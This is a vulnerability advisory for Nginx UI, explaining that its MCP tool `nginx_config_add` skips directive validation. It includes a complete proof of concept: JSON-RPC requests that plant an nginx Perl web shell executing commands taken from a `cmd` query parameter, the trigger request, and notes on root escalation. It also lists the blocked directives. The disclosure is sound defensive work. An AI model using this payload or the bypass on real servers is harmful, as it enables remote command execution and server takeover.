GHSA-9JWW-CXG5-RJ9M
Nginx UI: MCP `nginx_config_add` Bypasses Directive Validation — Authenticated RCE
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-9JWW-CXG5-RJ9M divulgada | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice |
Summary
The MCP tool `nginx_config_add` writes nginx configuration files to disk and triggers an nginx reload without calling `config.ValidateConfigFile`. The identical flow in the REST API (`POST /api/configs`) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (`perl`, `js_import`, `load_module`, `user root`, etc.), bypassing nginx-ui's entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution.
Details
`api/config/add.go` (line 46) calls `config.ValidateConfigFile` before writing:
err = config.ValidateConfigFile(path, content) // validates directives, checks blocklist
if err != nil {
cosy.ErrHandler(c, err)
return
}`mcp/config/config_add.go` (line 79) omits that call entirely and writes directly:
err = os.WriteFile(path, []byte(content), 0644) // no ValidateConfigFile, no blocklist check
...
res := nginx.Control(nginx.Reload) // reload triggered immediately`config.ValidateConfigFile` runs two checks:
- `ValidateConfigContent` — rejects control characters, enforces encoding.
- `ValidateConfigDirectives` — rejects a blocklist of dangerous directives: `perl`, `perl_modules`, `perl_require`, `perl_set`, `js_import`, `js_set`, `js_content`, `load_module` (restricted modules), `user root`, and others.
Neither check runs on the MCP path. Note that `mcp/config/config_modify.go` does call `ValidateConfigFile` correctly — only `config_add.go` is affected.
The MCP endpoint (`GET /mcp` SSE + `POST /mcp_message` JSON-RPC) accepts the same JWT and node-secret tokens as the REST API, so the attack surface is any authenticated session.
PoC
1 — Control: confirm REST API blocks the payload
POST /api/configs
Authorization: <token>
{ "name": "rce.conf", "base_dir": "conf.d", "content": "<perl config below>", "overwrite": true }Response:
HTTP 500 scope=config code=40017
message: file content contains restricted nginx directive: {0}`ValidateConfigDirectives` rejects `perl` — the REST API is working as intended.
2 — Open MCP SSE session
GET /mcp
Authorization: <token>
Accept: text/event-streamExtract `sessionId` from the `endpoint` event.
3 — MCP initialize handshake
POST /mcp_message?sessionId=<id>
{ "jsonrpc": "2.0", "id": 1, "method": "initialize",
"params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": { "name": "poc", "version": "1.0" } } }4 — Call `nginx_config_add` with the identical blocked payload
POST /mcp_message?sessionId=<id>
{
"jsonrpc": "2.0", "id": 2, "method": "tools/call",
"params": {
"name": "nginx_config_add",
"arguments": {
"name": "rce_backdoor.conf",
"base_dir": "conf.d",
"overwrite": true,
"content": "server {\n listen 8888;\n\n location /rce {\n perl 'sub {\n my $r = shift;\n my ($cmd) = ($r->args =~ /(?:^|&)cmd=([^&]*)/);\n $cmd ||= \"id\";\n $r->send_http_header(\"text/plain\");\n $r->print(qx($cmd 2>&1));\n return OK;\n }';\n }\n}\n"
}
}
}Response (`HTTP 200 OK`) — file written to `/etc/nginx/conf.d/rce_backdoor.conf`, nginx reloaded automatically:
{
"jsonrpc": "2.0",
"id": 2,
"result": {
"content": [
{
"type": "text",
"text": "{\"content\":\"...\",\"file_path\":\"/etc/managed-nginx/conf.d/rce_backdoor.conf\",\"name\":\"rce_backdoor.conf\"}"
}
]
}
}The `perl` directive — explicitly listed in `blockedConfigDirectives` and rejected by the REST API — passes through without any check.
5 — Trigger RCE
GET http://<target>:8888/rce?cmd=iduid=101(nginx) gid=101(nginx) groups=101(nginx)Impact
Any authenticated user (valid JWT or node-secret) can write an nginx configuration file containing any directive from the security blocklist. nginx-ui reloads nginx automatically after the write, activating the malicious config immediately. No further interaction is required.
On servers running nginx with the Perl module (`nginx:mainline-perl`) or nginx+njs, this results in arbitrary OS command execution running as the nginx worker user. Combined with a `user root;` directive (also unblocked via this path), the worker process can be escalated to root before the RCE handler fires.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/0xJacky/Nginx-UI |
Sin parche | — | — | v1.9.9 no afectada |
commit 23d1934Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://nvd.nist.gov/vuln/detail/CVE-2026-84318https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-9jww-cxg5-rj9mhttps://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2https://github.com/0xJacky/nginx-uihttps://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
